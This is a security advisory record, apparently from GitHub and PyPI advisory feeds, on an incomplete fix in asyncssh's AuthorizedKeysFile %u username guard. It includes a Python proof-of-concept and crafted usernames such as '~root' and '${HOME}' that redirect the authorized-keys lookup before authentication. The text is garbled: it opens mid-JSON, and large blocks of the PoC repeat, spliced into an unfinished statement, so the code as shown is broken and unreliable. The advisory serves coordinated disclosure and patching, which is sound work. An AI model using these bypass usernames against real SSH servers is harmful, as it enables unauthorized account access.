print(f\" guard blocks it? {blocked_a} (False == bypass)\")\n print(f\" expanded config value : {val_a}\")\n print(f\" after expanduser() : {resolved_a} \u003c-- read as authorized_keys\")\n results.append((\"A: ~user NOT blocked by guard\", not blocked_a))\n results.append((\"A: expanduser() redirects to another home tree\",\n resolved_a.startswith(\"/root/\") or \"~\" not in resolved_a))\n\n print()\n\n # ---- BYPASS B: ${ENV} survives the guard, re-introduces \u0027/\u0027 -----------\n # The username contains no \u0027/\u0027,\u0027\\\\\u0027 and is not \u0027..\u0027, so the guard passes.\n # Token expansion makes %u -\u003e \u0027${HOME}\u0027, then ENV expansion substitutes a\n # server value that DOES contain \u0027/\u0027, defeating the separator filter.\n cfg_b = \"AuthorizedKeysFile %u\"\n os.environ.setdefault(\"HOME\", \"/root\")\n blocked_b = guard_blocks(\"${HOME}\", cfg_b)\n val_b = expand_authkeys(\"${HOME}\", cfg_b)\n print(f\"[B] env bypass user \u0027${{HOME}}\u0027:\")\n print(f\" guard blocks it? {blocked_b} (False == bypass)\")\n print(f\" expanded config value : {val_b} (HOME={os.environ[\u0027HOME\u0027]})\")\n sep_injected = any(\"/\" in p for p in val_b)\n print(f\" contains \u0027/\u0027 after guard? {sep_injected} \u003c-- separator filter bypassed\")\n results.append((\"B: ${ENV} username NOT blocked by guard\", not blocked_b))\n results.append((\"B: ${ENV} re-introduces \u0027/\u0027 the guard rejected literally\",\n sep_injected))\n\n # demonstrate arbitrary \u0027/\u0027-containing absolute path via a referenced var\n os.environ[\"ASYNCSSH_POC_VAR\"] = \"/tmp/asyncssh_poc/INJECTED/authorized_keys\"\n val_b2 = expand_authkeys(\"${ASYNCSSH_POC_VAR}\", cfg_b)\n print(f\" via referenced env var: {val_b2}\")\n results.append((\"B: env value yields absolute \u0027/\u0027-path post-guard\",\n val_b2 == [\"/tmp/asyncssh_poc/INJECTED/authorized_keys\"]))\n\n # ---- verdict ----------------------------------------------------------\n print(\"\\n==== RESULTS ====\")\n ok = True\n for name, passed in results:\n print(f\" [{\u0027PASS\u0027 if passed else \u0027FAIL\u0027}] {name}\")\n ok = ok and passed\n print(\"\\nVERDICT:\",\n\n print()\n\n # ---- BYPASS B: ${ENV} survives the guard, re-introduces \u0027/\u0027 -----------\n # The username contains no \u0027/\u0027,\u0027\\\\\u0027 and is not \u0027..\u0027, so the guard passes.\n # Token expansion makes %u -\u003e \u0027${HOME}\u0027, then ENV expansion substitutes a\n # server value that DOES contain \u0027/\u0027, defeating the separator filter.\n cfg_b = \"AuthorizedKeysFile %u\"\n os.environ.setdefault(\"HOME\", \"/root\")\n blocked_b = guard_blocks(\"${HOME}\", cfg_b)\n val_b = expand_authkeys(\"${HOME}\", cfg_b)\n print(f\"[B] env bypass user \u0027${{HOME}}\u0027:\")\n print(f\" guard blocks it? {blocked_b} (False == bypass)\")\n print(f\" expanded config value : {val_b} (HOME={os.environ[\u0027HOME\u0027]})\")\n sep_injected = any(\"/\" in p for p in val_b)\n print(f\" contains \u0027/\u0027 after guard? {sep_injected} \u003c-- separator filter bypassed\")\n results.append((\"B: ${ENV} username NOT blocked by guard\", not blocked_b))\n results.append((\"B: ${ENV} re-introduces \u0027/\u0027 the guard rejected literally\",\n sep_injected))\n\n # demonstrate arbitrary \u0027/\u0027-containing absolute path via a referenced var\n os.environ[\"ASYNCSSH_POC_VAR\"] = \"/tmp/asyncssh_poc/INJECTED/authorized_keys\"\n val_b2 = expand_authkeys(\"${ASYNCSSH_POC_VAR}\", cfg_b)\n print(f\" via referenced env var: {val_b2}\")\n results.append((\"B: env value yields absolute \u0027/\u0027-path post-guard\",\n val_b2 == [\"/tmp/asyncssh_poc/INJECTED/authorized_keys\"]))\n\n # ---- verdict ----------------------------------------------------------\n print(\"\\n==== RESULTS ====\")\n ok = True\n for name, passed in results:\n print(f\" [{\u0027PASS\u0027 if passed else \u0027FAIL\u0027}] {name}\")\n ok = ok and passed\n print(\"\\nVERDICT:\",\n \"guard is bypassable via ~ and ${ENV} (incomplete fix CONFIRMED)\"\n if ok else \"one or more checks did not hold\")\n return 0 if ok else 1\n\n\n if __name__ == \"__main__\":\n sys.exit(main())\n```",
"id": "GHSA-qr67-gv47-xwwh",
"modified": "2026-08-26T15:32:00Z",
"published": "2026-08-26T15:32:00Z",
"references": [
{
"type": "WEB",
"url": "https://github.com/ronf/asyncssh/security/advisories/GHSA-qr67-gv47-xwwh"
},
{
"type": "ADVISORY",
"url": "https://nvd.nist.gov/vuln/detail/CVE-2026-54590"
},
{
"type": "WEB",
"url": "https://github.com/ronf/asyncssh/commit/3d515ba9ba0cd9990d248bdf62bcf05d51261a88"
},
{
"type": "PACKAGE",
"url": "https://github.com/ronf/asyncssh"
},
{
"type": "WEB",
"url": "https://github.com/ronf/asyncssh/releases/tag/v2.23.1"
}
],
"schema_version": "1.4.0",
"severity": [
{
"score": "CVSS:3.1/AV:N/AC:H/PR:N/UI:N/S:U/C:N/I:H/A:N",
"type": "CVSS_V3"
}
],
"summary": "asyncssh has an incomplete fix for CVE-2026-45309 \u2014 AuthorizedKeysFile %u still escapes the intended directory via a leading ~ (and weakly via ${ENV}) username substitution"
}
PYSEC-2026-3809
Vulnerability from pysec - Published: 2026-09-10 09:44 - Updated: 2026-09-10 11:01Incomplete fix for CVE-2026-45309 (GHSA-g794-3fmp-753h). The
2.23.0 guard that sanitises the SSH username before %u substitution
in AuthorizedKeysFile blocks /, \ and .., but does not block a
leading ~ (or ${ENV}), both of which are re-introduced by later
expansion and reach the file open — defeating the guard.
Affected: asyncssh 2.23.0 and current develop (commit a60f863,
HEAD on 2026-05-29).
## Summary
The fix for CVE-2026-45309 added a guard in
SSHServerConfig._set_tokens (asyncssh/config.py:715-716) that
rejects an SSH username containing /, \, or equal to .., before
it is substituted for the %u token in AuthorizedKeysFile:
if self._user == '..' or '/' in self._user or '\\' in self._user:
raise IllegalUserName('Unsafe username substitution')
However, the %u-substituted value is subsequently passed through
environment-variable expansion (_expand_val, config.py:145-149 —
token expansion then env expansion) and, at file-open time, through
expanduser() (read_authorized_keys → read_file →
open(Path(filename).expanduser()), auth_keys.py:348 →
misc.py:290). Both re-introduce the path control the guard was meant
to remove, so a username that contains no //\ can still cause the
server to read an authorized-keys file outside the intended per-user
directory.
The client-supplied username reaches this path pre-authentication:
_process_userauth_request takes the username from the
SSH_MSG_USERAUTH_REQUEST packet (connection.py:2516-2519) and
_finish_userauth calls reload_config() (connection.py:2536),
which re-evaluates AuthorizedKeysFile with username=self._username
(connection.py:5906) before the offered key is validated.
## Primary vector — leading ~
A username such as ~root or ~victim passes the guard (no /). For
a server whose AuthorizedKeysFile begins with %u — e.g.
AuthorizedKeysFile %u/.ssh/authorized_keys — the expanded value is
~victim/.ssh/authorized_keys, which expanduser() resolves to
/home/victim/.ssh/authorized_keys (~root → /root/...; a bare ~
→ the server process's home). The username has therefore escaped the
intended per-user location without using any path separator —
defeating the purpose of the guard.
Note: expanduser() only expands a leading ~, so this vector
requires %u to be the first path component of AuthorizedKeysFile.
(The CVE-2026-45309 authorized_keys/%u example — %u not leading —
is not reachable this way; that was the ../ form.)
## Impact and limitations
- Demonstrated (verified against source at a60f863): the guard is
bypassable and the authorized-keys lookup is redirected to an
attacker-named home tree, pre-auth, with a separator-free username.
- Impact model = identical to CVE-2026-45309: authenticating as the
redirected username when a readable authorized-keys file containing
the attacker's key is reachable at the redirected location. The parent
CVE accepted this exact precondition and was scored C:N/I:H/A:N;
this is scored consistently.
- Not built: a live multi-account SSH auth harness; the PoC verifies
the path-redirection mechanism in-process, deterministically. No new
primitive is claimed beyond the parent CVE's accepted model — only
that the 2.23.0 fix does not close it for ~/${ENV}.
- Preconditions (captured by AC:H): %u must be the leading path
component; on Python 3.13, Path('~nonexistentuser').expanduser()
raises RuntimeError, so only existing accounts are reachable
(confirmed: asyncssh 2.23.0, Python 3.13.12).
## Secondary vector — ${ENV} (defense-in-depth only)
A username like ${HOME} also passes the guard and is then
environment-expanded, re-introducing /. Weaker and not a practical
exploit: the attacker can only reference env vars that already exist
in the server process (a missing variable raises ConfigParseError)
and cannot control their values. Reported as hardening.
## Reproduction In-process, deterministic, no network. Against a checkout of asyncssh 2.23.0:
cd /path/to/asyncssh
PYTHONPATH=/path/to/asyncssh python3 poc_authkeys_token_bypass.py
Output (abridged):
[1] original CVE '../../../../tmp/evil' blocked: True (fix present)
literal-slash user '/etc' blocked: True
[A] tilde bypass user '~root':
guard blocks it? False (False == bypass)
expanded config value : ['~root/.ssh/authorized_keys']
after expanduser() : /root/.ssh/authorized_keys <-- read as authorized_keys
VERDICT: guard is bypassable via ~ and ${ENV} (incomplete fix CONFIRMED)
## Suggested fix
Tighten _set_tokens to also reject usernames that re-introduce path
control after expansion — reject a leading ~ / ~user and $/${
references in self._user. More robustly, validate that the FINAL
expanded AuthorizedKeysFile path remains within the intended base
directory, and/or suppress expanduser/environment expansion on the
%u-derived component specifically.
## Disclosure
Coordinated, ~90-day default. I will not publish details/PoC before a
fix is released, and am happy to validate the patch. Credit (if given)
to cesabici-bit.
## PoC source (see code block below)
#!/usr/bin/env python3
"""
PoC: incomplete fix for CVE-2026-45309 (AsyncSSH AuthorizedKeysFile %u path
control). Local-only, in-process, deterministic. No network.
CVE-2026-45309 (fixed in v2.23.0, commit 2af2382) added a blocklist in
SSHServerConfig._set_tokens that rejects a client username containing
'/', '\\', or equal to '..' before it is substituted for the %u token in
the server's AuthorizedKeysFile directive.
This PoC shows the blocklist is bypassable: the %u value is afterwards run
through (1) ${ENV} expansion and (2) ~ expanduser(), both of which
re-introduce the path control the guard was meant to remove.
CAVEAT (triage 2026-05-29): the PRIMARY vector is (2) ~ expanduser() — it lets
a separator-free username (e.g. '~root') escape to another home tree when %u
is the LEADING path component. Vector (1) ${ENV} is WEAK: a real attacker can
only REFERENCE env vars that already exist on the server and cannot control
their VALUES; the ${ASYNCSSH_POC_VAR} demo below sets the var itself purely to
illustrate the expansion, and does NOT represent attacker capability. Treat (1)
as defense-in-depth, (2) as the load-bearing finding. See NOTES.md / REPORT.md.
Run from a checkout of asyncssh (cwd on sys.path), e.g.:
cd /tmp/targets/asyncssh && python3 <thisfile>
"""
import os
import sys
import tempfile
from pathlib import Path
import asyncssh
from asyncssh.config import SSHServerConfig
try:
from asyncssh.misc import IllegalUserName
except Exception: # pragma: no cover
IllegalUserName = asyncssh.IllegalUserName
def expand_authkeys(user, cfg_text):
"""Load a server config exactly as SSHServerConnection does and return the
expanded AuthorizedKeysFile value (a list). Raises IllegalUserName if the
CVE-2026-45309 guard fires."""
with tempfile.NamedTemporaryFile("w", suffix=".conf", delete=False) as f:
f.write(cfg_text)
cfg_path = f.name
try:
# mirror connection.py:8897
# SSHServerConfig.load(last_config, config, reload, canonical, final,
# accept_addr, accept_port, username,
# client_host, client_addr)
cfg = SSHServerConfig.load(
None, cfg_path, True, False, False,
"127.0.0.1", 22, user, "client.example", "203.0.113.7",
)
return cfg.get("AuthorizedKeysFile")
finally:
os.unlink(cfg_path)
def guard_blocks(user, cfg_text):
"""Return True if the CVE-2026-45309 guard rejects this username."""
try:
expand_authkeys(user, cfg_text)
return False
except IllegalUserName:
return True
def main():
print(f"# asyncssh {asyncssh.__version__} ({asyncssh.__file__})")
print(f"# python {sys.version.split()[0]}\n")
results = []
# ---- Sanity 0: benign username expands normally -----------------------
cfg = "AuthorizedKeysFile /etc/ssh/authorized_keys.d/%u"
val = expand_authkeys("alice", cfg)
print(f"[0] benign user 'alice': {val}")
results.append(("benign expands to per-user path",
val == ["/etc/ssh/authorized_keys.d/alice"]))
# ---- Sanity 1: original CVE-2026-45309 is blocked ---------------------
blocked = guard_blocks("../../../../tmp/evil", cfg)
print(f"[1] original CVE '../../../../tmp/evil' blocked: {blocked}")
results.append(("original CVE traversal is blocked (fix present)", blocked))
# also: a literal slash is blocked (the guard's whole purpose)
slash_blocked = guard_blocks("/etc", cfg)
print(f" literal-slash user '/etc' blocked: {slash_blocked}")
results.append(("literal-slash username is blocked", slash_blocked))
print()
# ---- BYPASS A: ~ tilde survives the guard, reaches expanduser() -------
cfg_a = "AuthorizedKeysFile %u/.ssh/authorized_keys"
blocked_a = guard_blocks("~root", cfg_a)
val_a = expand_authkeys("~root", cfg_a)
resolved_a = str(Path(val_a[0]).expanduser()) # what read_file()/open_file() does
print(f"[A] tilde bypass user '~root':")
print(f" guard blocks it? {blocked_a} (False == bypass)")
print(f" expanded config value : {val_a}")
print(f" after expanduser() : {resolved_a} <-- read as authorized_keys")
results.append(("A: ~user NOT blocked by guard", not blocked_a))
results.append(("A: expanduser() redirects to another home tree",
resolved_a.startswith("/root/") or "~" not in resolved_a))
print()
# ---- BYPASS B: ${ENV} survives the guard, re-introduces '/' -----------
# The username contains no '/','\\' and is not '..', so the guard passes.
# Token expansion makes %u -> '${HOME}', then ENV expansion substitutes a
# server value that DOES contain '/', defeating the separator filter.
cfg_b = "AuthorizedKeysFile %u"
os.environ.setdefault("HOME", "/root")
blocked_b = guard_blocks("${HOME}", cfg_b)
val_b = expand_authkeys("${HOME}", cfg_b)
print(f"[B] env bypass user '${{HOME}}':")
print(f" guard blocks it? {blocked_b} (False == bypass)")
print(f" expanded config value : {val_b} (HOME={os.environ['HOME']})")
sep_injected = any("/" in p for p in val_b)
print(f" contains '/' after guard? {sep_injected} <-- separator filter bypassed")
results.append(("B: ${ENV} username NOT blocked by guard", not blocked_b))
results.append(("B: ${ENV} re-introduces '/' the guard rejected literally",
sep_injected))
# demonstrate arbitrary '/'-containing absolute path via a referenced var
os.environ["ASYNCSSH_POC_VAR"] = "/tmp/asyncssh_poc/INJECTED/authorized_keys"
val_b2 = expand_authkeys("${ASYNCSSH_POC_VAR}", cfg_b)
print(f" via referenced env var: {val_b2}")
results.append(("B: env value yields absolute '/'-path post-guard",
val_b2 == ["/tmp/asyncssh_poc/INJECTED/authorized_keys"]))
# ---- verdict ----------------------------------------------------------
print("\n==== RESULTS ====")
ok = True
for name, passed in results:
print(f" [{'PASS' if passed else 'FAIL'}] {name}")
ok = ok and passed
print("\nVERDICT:",
print()
# ---- BYPASS B: ${ENV} survives the guard, re-introduces '/' -----------
# The username contains no '/','\\' and is not '..', so the guard passes.
# Token expansion makes %u -> '${HOME}', then ENV expansion substitutes a
# server value that DOES contain '/', defeating the separator filter.
cfg_b = "AuthorizedKeysFile %u"
os.environ.setdefault("HOME", "/root")
blocked_b = guard_blocks("${HOME}", cfg_b)
val_b = expand_authkeys("${HOME}", cfg_b)
print(f"[B] env bypass user '${{HOME}}':")
print(f" guard blocks it? {blocked_b} (False == bypass)")
print(f" expanded config value : {val_b} (HOME={os.environ['HOME']})")
sep_injected = any("/" in p for p in val_b)
print(f" contains '/' after guard? {sep_injected} <-- separator filter bypassed")
results.append(("B: ${ENV} username NOT blocked by guard", not blocked_b))
results.append(("B: ${ENV} re-introduces '/' the guard rejected literally",
sep_injected))
# demonstrate arbitrary '/'-containing absolute path via a referenced var
os.environ["ASYNCSSH_POC_VAR"] = "/tmp/asyncssh_poc/INJECTED/authorized_keys"
val_b2 = expand_authkeys("${ASYNCSSH_POC_VAR}", cfg_b)
print(f" via referenced env var: {val_b2}")
results.append(("B: env value yields absolute '/'-path post-guard",
val_b2 == ["/tmp/asyncssh_poc/INJECTED/authorized_keys"]))
# ---- verdict ----------------------------------------------------------
print("\n==== RESULTS ====")
ok = True
for name, passed in results:
print(f" [{'PASS' if passed else 'FAIL'}] {name}")
ok = ok and passed
print("\nVERDICT:",
"guard is bypassable via ~ and ${ENV} (incomplete fix CONFIRMED)"
if ok else "one or more checks did not hold")
return 0 if ok else 1
if __name__ == "__main__":
sys.exit(main())
| Name | purl | asyncssh | pkg:pypi/asyncssh |
|---|
{
"affected": [
{
"package": {
"ecosystem": "PyPI",
"name": "asyncssh",
"purl": "pkg:pypi/asyncssh"
},
"ranges": [
{
"events": [
{
"introduced": "0"
},
{
"fixed": "2.23.1"
}
],
"type": "ECOSYSTEM"
}
],
"versions": [
"0.8.1",
"0.8.2",
"0.8.3",
"0.8.4",
"0.9.0",
"0.9.1",
"0.9.2",
"1.0.0",
"1.0.1",
"1.1.0",
"1.1.1",
"1.10.0",
"1.10.1",
"1.11.0",
"1.11.1",
"1.12.0",
"1.12.1",
"1.12.2",
"1.13.0",
"1.13.1",
"1.13.2",
"1.13.3",
"1.14.0",
"1.15.0",
"1.15.1",
"1.16.0",
"1.16.1",
"1.17.0",
"1.17.1",
"1.18.0",
"1.2.0",
"1.2.1",
"1.3.0",
"1.3.1",
"1.3.2",
"1.4.0",
"1.4.1",
"1.5.0",
"1.5.1",
"1.5.2",
"1.5.3",
"1.5.4",
"1.5.5",
"1.5.6",
"1.6.0",
"1.6.1",
"1.6.2",
"1.7.1",
"1.7.2",
"1.7.3",
"1.8.0",
"1.8.1",
"1.9.0",
"2.0.0",
"2.0.1",
"2.1.0",
"2.10.0",
"2.10.1",
"2.11.0",
"2.12.0",
"2.13.0",
"2.13.1",
"2.13.2",
"2.14.0",
"2.14.1",
"2.14.2",
"2.15.0",
"2.16.0",
"2.17.0",
"2.18.0",
"2.19.0",
"2.2.0",
"2.2.1",
"2.20.0",
"2.21.0",
"2.21.1",
"2.22.0",
"2.23.0",
"2.3.0",
"2.4.0",
"2.4.1",
"2.4.2",
"2.5.0",
"2.6.0",
"2.7.0",
"2.7.1",
"2.7.2",
"2.8.0",
"2.8.1",
"2.9.0"
]
}
],
"aliases": [
"CVE-2026-54590",
"GHSA-qr67-gv47-xwwh"
],
"details": "**Incomplete fix for CVE-2026-45309 (GHSA-g794-3fmp-753h).** The\n 2.23.0 guard that sanitises the SSH username before `%u` substitution\n in `AuthorizedKeysFile` blocks `/`, `\\` and `..`, but does not block a\n leading `~` (or `${ENV}`), both of which are re-introduced by later\n expansion and reach the file open \u2014 defeating the guard.\n\n **Affected:** asyncssh 2.23.0 and current `develop` (commit `a60f863`,\n HEAD on 2026-05-29).\n\n ## Summary\n The fix for CVE-2026-45309 added a guard in\n `SSHServerConfig._set_tokens` (`asyncssh/config.py:715-716`) that\n rejects an SSH username containing `/`, `\\`, or equal to `..`, before\n it is substituted for the `%u` token in `AuthorizedKeysFile`:\n\n if self._user == \u0027..\u0027 or \u0027/\u0027 in self._user or \u0027\\\\\u0027 in self._user:\n raise IllegalUserName(\u0027Unsafe username substitution\u0027)\n\n However, the `%u`-substituted value is subsequently passed through\n environment-variable expansion (`_expand_val`, `config.py:145-149` \u2014\n token expansion then env expansion) and, at file-open time, through\n `expanduser()` (`read_authorized_keys` \u2192 `read_file` \u2192\n `open(Path(filename).expanduser())`, `auth_keys.py:348` \u2192\n `misc.py:290`). Both re-introduce the path control the guard was meant\n to remove, so a username that contains no `/`/`\\` can still cause the\n server to read an authorized-keys file outside the intended per-user\n directory.\n\n The client-supplied username reaches this path pre-authentication:\n `_process_userauth_request` takes the username from the\n `SSH_MSG_USERAUTH_REQUEST` packet (`connection.py:2516-2519`) and\n `_finish_userauth` calls `reload_config()` (`connection.py:2536`),\n which re-evaluates `AuthorizedKeysFile` with `username=self._username`\n (`connection.py:5906`) before the offered key is validated.\n\n ## Primary vector \u2014 leading `~`\n A username such as `~root` or `~victim` passes the guard (no `/`). For\n a server whose `AuthorizedKeysFile` begins with `%u` \u2014 e.g.\n `AuthorizedKeysFile %u/.ssh/authorized_keys` \u2014 the expanded value is\n `~victim/.ssh/authorized_keys`, which `expanduser()` resolves to\n `/home/victim/.ssh/authorized_keys` (`~root` \u2192 `/root/...`; a bare `~`\n \u2192 the server process\u0027s home). The username has therefore escaped the\n intended per-user location without using any path separator \u2014\n defeating the purpose of the guard.\n\n Note: `expanduser()` only expands a leading `~`, so this vector\n requires `%u` to be the first path component of `AuthorizedKeysFile`.\n (The CVE-2026-45309 `authorized_keys/%u` example \u2014 `%u` not leading \u2014\n is not reachable this way; that was the `../` form.)\n\n ## Impact and limitations\n - Demonstrated (verified against source at `a60f863`): the guard is\n bypassable and the authorized-keys lookup is redirected to an\n attacker-named home tree, pre-auth, with a separator-free username.\n - Impact model = identical to CVE-2026-45309: authenticating as the\n redirected username when a readable authorized-keys file containing\n the attacker\u0027s key is reachable at the redirected location. The parent\n CVE accepted this exact precondition and was scored `C:N/I:H/A:N`;\n this is scored consistently.\n - Not built: a live multi-account SSH auth harness; the PoC verifies\n the path-redirection mechanism in-process, deterministically. No new\n primitive is claimed beyond the parent CVE\u0027s accepted model \u2014 only\n that the 2.23.0 fix does not close it for `~`/`${ENV}`.\n - Preconditions (captured by AC:H): `%u` must be the leading path\n component; on Python 3.13, `Path(\u0027~nonexistentuser\u0027).expanduser()`\n raises `RuntimeError`, so only existing accounts are reachable\n (confirmed: asyncssh 2.23.0, Python 3.13.12).\n\n ## Secondary vector \u2014 `${ENV}` (defense-in-depth only)\n A username like `${HOME}` also passes the guard and is then\n environment-expanded, re-introducing `/`. Weaker and not a practical\n exploit: the attacker can only reference env vars that already exist\n in the server process (a missing variable raises `ConfigParseError`)\n and cannot control their values. Reported as hardening.\n\n ## Reproduction\n In-process, deterministic, no network. Against a checkout of asyncssh\n 2.23.0:\n\n cd /path/to/asyncssh\n PYTHONPATH=/path/to/asyncssh python3 poc_authkeys_token_bypass.py\n\n Output (abridged):\n\n [1] original CVE \u0027../../../../tmp/evil\u0027 blocked: True (fix present)\n literal-slash user \u0027/etc\u0027 blocked: True\n [A] tilde bypass user \u0027~root\u0027:\n guard blocks it? False (False == bypass)\n expanded config value : [\u0027~root/.ssh/authorized_keys\u0027]\n after expanduser() : /root/.ssh/authorized_keys \u003c-- read as authorized_keys\n VERDICT: guard is bypassable via ~ and ${ENV} (incomplete fix CONFIRMED)\n\n ## Suggested fix\n Tighten `_set_tokens` to also reject usernames that re-introduce path\n control after expansion \u2014 reject a leading `~` / `~user` and `$`/`${`\n references in `self._user`. More robustly, validate that the FINAL\n expanded `AuthorizedKeysFile` path remains within the intended base\n directory, and/or suppress `expanduser`/environment expansion on the\n `%u`-derived component specifically.\n\n ## Disclosure\n Coordinated, ~90-day default. I will not publish details/PoC before a\n fix is released, and am happy to validate the patch. Credit (if given)\n to `cesabici-bit`.\n\n ## PoC source\n (see code block below)\n\n```python\n #!/usr/bin/env python3\n \"\"\"\n PoC: incomplete fix for CVE-2026-45309 (AsyncSSH AuthorizedKeysFile %u path\n control). Local-only, in-process, deterministic. No network.\n\n CVE-2026-45309 (fixed in v2.23.0, commit 2af2382) added a blocklist in\n SSHServerConfig._set_tokens that rejects a client username containing\n \u0027/\u0027, \u0027\\\\\u0027, or equal to \u0027..\u0027 before it is substituted for the %u token in\n the server\u0027s AuthorizedKeysFile directive.\n\n This PoC shows the blocklist is bypassable: the %u value is afterwards run\n through (1) ${ENV} expansion and (2) ~ expanduser(), both of which\n re-introduce the path control the guard was meant to remove.\n\n CAVEAT (triage 2026-05-29): the PRIMARY vector is (2) ~ expanduser() \u2014 it lets\n a separator-free username (e.g. \u0027~root\u0027) escape to another home tree when %u\n is the LEADING path component. Vector (1) ${ENV} is WEAK: a real attacker can\n only REFERENCE env vars that already exist on the server and cannot control\n their VALUES; the ${ASYNCSSH_POC_VAR} demo below sets the var itself purely to\n illustrate the expansion, and does NOT represent attacker capability. Treat (1)\n as defense-in-depth, (2) as the load-bearing finding. See NOTES.md / REPORT.md.\n\n Run from a checkout of asyncssh (cwd on sys.path), e.g.:\n cd /tmp/targets/asyncssh \u0026\u0026 python3 \u003cthisfile\u003e\n \"\"\"\n\n import os\n import sys\n import tempfile\n from pathlib import Path\n\n import asyncssh\n from asyncssh.config import SSHServerConfig\n\n try:\n from asyncssh.misc import IllegalUserName\n except Exception: # pragma: no cover\n IllegalUserName = asyncssh.IllegalUserName\n\n\n def expand_authkeys(user, cfg_text):\n \"\"\"Load a server config exactly as SSHServerConnection does and return the\n expanded AuthorizedKeysFile value (a list). Raises IllegalUserName if the\n CVE-2026-45309 guard fires.\"\"\"\n with tempfile.NamedTemporaryFile(\"w\", suffix=\".conf\", delete=False) as f:\n f.write(cfg_text)\n cfg_path = f.name\n try:\n # mirror connection.py:8897\n # SSHServerConfig.load(last_config, config, reload, canonical, final,\n # accept_addr, accept_port, username,\n # client_host, client_addr)\n cfg = SSHServerConfig.load(\n None, cfg_path, True, False, False,\n \"127.0.0.1\", 22, user, \"client.example\", \"203.0.113.7\",\n )\n return cfg.get(\"AuthorizedKeysFile\")\n finally:\n os.unlink(cfg_path)\n\n\n def guard_blocks(user, cfg_text):\n \"\"\"Return True if the CVE-2026-45309 guard rejects this username.\"\"\"\n try:\n expand_authkeys(user, cfg_text)\n return False\n except IllegalUserName:\n return True\n\n\n def main():\n print(f\"# asyncssh {asyncssh.__version__} ({asyncssh.__file__})\")\n print(f\"# python {sys.version.split()[0]}\\n\")\n\n results = []\n\n # ---- Sanity 0: benign username expands normally -----------------------\n cfg = \"AuthorizedKeysFile /etc/ssh/authorized_keys.d/%u\"\n val = expand_authkeys(\"alice\", cfg)\n print(f\"[0] benign user \u0027alice\u0027: {val}\")\n results.append((\"benign expands to per-user path\",\n val == [\"/etc/ssh/authorized_keys.d/alice\"]))\n\n # ---- Sanity 1: original CVE-2026-45309 is blocked ---------------------\n blocked = guard_blocks(\"../../../../tmp/evil\", cfg)\n print(f\"[1] original CVE \u0027../../../../tmp/evil\u0027 blocked: {blocked}\")\n results.append((\"original CVE traversal is blocked (fix present)\", blocked))\n\n # also: a literal slash is blocked (the guard\u0027s whole purpose)\n slash_blocked = guard_blocks(\"/etc\", cfg)\n print(f\" literal-slash user \u0027/etc\u0027 blocked: {slash_blocked}\")\n results.append((\"literal-slash username is blocked\", slash_blocked))\n\n print()\n\n # ---- BYPASS A: ~ tilde survives the guard, reaches expanduser() -------\n cfg_a = \"AuthorizedKeysFile %u/.ssh/authorized_keys\"\n blocked_a = guard_blocks(\"~root\", cfg_a)\n val_a = expand_authkeys(\"~root\", cfg_a)\n resolved_a = str(Path(val_a[0]).expanduser()) # what read_file()/open_file() does\n print(f\"[A] tilde bypass user \u0027~root\u0027:\")\n print(f\" guard blocks it? {blocked_a} (False == bypass)\")\n print(f\" expanded config value : {val_a}\")\n print(f\" after expanduser() : {resolved_a} \u003c-- read as authorized_keys\")\n results.append((\"A: ~user NOT blocked by guard\", not blocked_a))\n results.append((\"A: expanduser() redirects to another home tree\",\n resolved_a.startswith(\"/root/\") or \"~\" not in resolved_a))\n\n print()\n\n # ---- BYPASS B: ${ENV} survives the guard, re-introduces \u0027/\u0027 -----------\n # The username contains no \u0027/\u0027,\u0027\\\\\u0027 and is not \u0027..\u0027, so the guard passes.\n # Token expansion makes %u -\u003e \u0027${HOME}\u0027, then ENV expansion substitutes a\n # server value that DOES contain \u0027/\u0027, defeating the separator filter.\n cfg_b = \"AuthorizedKeysFile %u\"\n os.environ.setdefault(\"HOME\", \"/root\")\n blocked_b = guard_blocks(\"${HOME}\", cfg_b)\n val_b = expand_authkeys(\"${HOME}\", cfg_b)\n print(f\"[B] env bypass user \u0027${{HOME}}\u0027:\")\n print(f\" guard blocks it? {blocked_b} (False == bypass)\")\n print(f\" expanded config value : {val_b} (HOME={os.environ[\u0027HOME\u0027]})\")\n sep_injected = any(\"/\" in p for p in val_b)\n print(f\" contains \u0027/\u0027 after guard? {sep_injected} \u003c-- separator filter bypassed\")\n results.append((\"B: ${ENV} username NOT blocked by guard\", not blocked_b))\n results.append((\"B: ${ENV} re-introduces \u0027/\u0027 the guard rejected literally\",\n sep_injected))\n\n # demonstrate arbitrary \u0027/\u0027-containing absolute path via a referenced var\n os.environ[\"ASYNCSSH_POC_VAR\"] = \"/tmp/asyncssh_poc/INJECTED/authorized_keys\"\n val_b2 = expand_authkeys(\"${ASYNCSSH_POC_VAR}\", cfg_b)\n print(f\" via referenced env var: {val_b2}\")\n results.append((\"B: env value yields absolute \u0027/\u0027-path post-guard\",\n val_b2 == [\"/tmp/asyncssh_poc/INJECTED/authorized_keys\"]))\n\n # ---- verdict ----------------------------------------------------------\n print(\"\\n==== RESULTS ====\")\n ok = True\n for name, passed in results:\n print(f\" [{\u0027PASS\u0027 if passed else \u0027FAIL\u0027}] {name}\")\n ok = ok and passed\n print(\"\\nVERDICT:\",\n\n print()\n\n # ---- BYPASS B: ${ENV} survives the guard, re-introduces \u0027/\u0027 -----------\n # The username contains no \u0027/\u0027,\u0027\\\\\u0027 and is not \u0027..\u0027, so the guard passes.\n # Token expansion makes %u -\u003e \u0027${HOME}\u0027, then ENV expansion substitutes a\n # server value that DOES contain \u0027/\u0027, defeating the separator filter.\n cfg_b = \"AuthorizedKeysFile %u\"\n os.environ.setdefault(\"HOME\", \"/root\")\n blocked_b = guard_blocks(\"${HOME}\", cfg_b)\n val_b = expand_authkeys(\"${HOME}\", cfg_b)\n print(f\"[B] env bypass user \u0027${{HOME}}\u0027:\")\n print(f\" guard blocks it? {blocked_b} (False == bypass)\")\n print(f\" expanded config value : {val_b} (HOME={os.environ[\u0027HOME\u0027]})\")\n sep_injected = any(\"/\" in p for p in val_b)\n print(f\" contains \u0027/\u0027 after guard? {sep_injected} \u003c-- separator filter bypassed\")\n results.append((\"B: ${ENV} username NOT blocked by guard\", not blocked_b))\n results.append((\"B: ${ENV} re-introduces \u0027/\u0027 the guard rejected literally\",\n sep_injected))\n\n # demonstrate arbitrary \u0027/\u0027-containing absolute path via a referenced var\n os.environ[\"ASYNCSSH_POC_VAR\"] = \"/tmp/asyncssh_poc/INJECTED/authorized_keys\"\n val_b2 = expand_authkeys(\"${ASYNCSSH_POC_VAR}\", cfg_b)\n print(f\" via referenced env var: {val_b2}\")\n results.append((\"B: env value yields absolute \u0027/\u0027-path post-guard\",\n val_b2 == [\"/tmp/asyncssh_poc/INJECTED/authorized_keys\"]))\n\n # ---- verdict 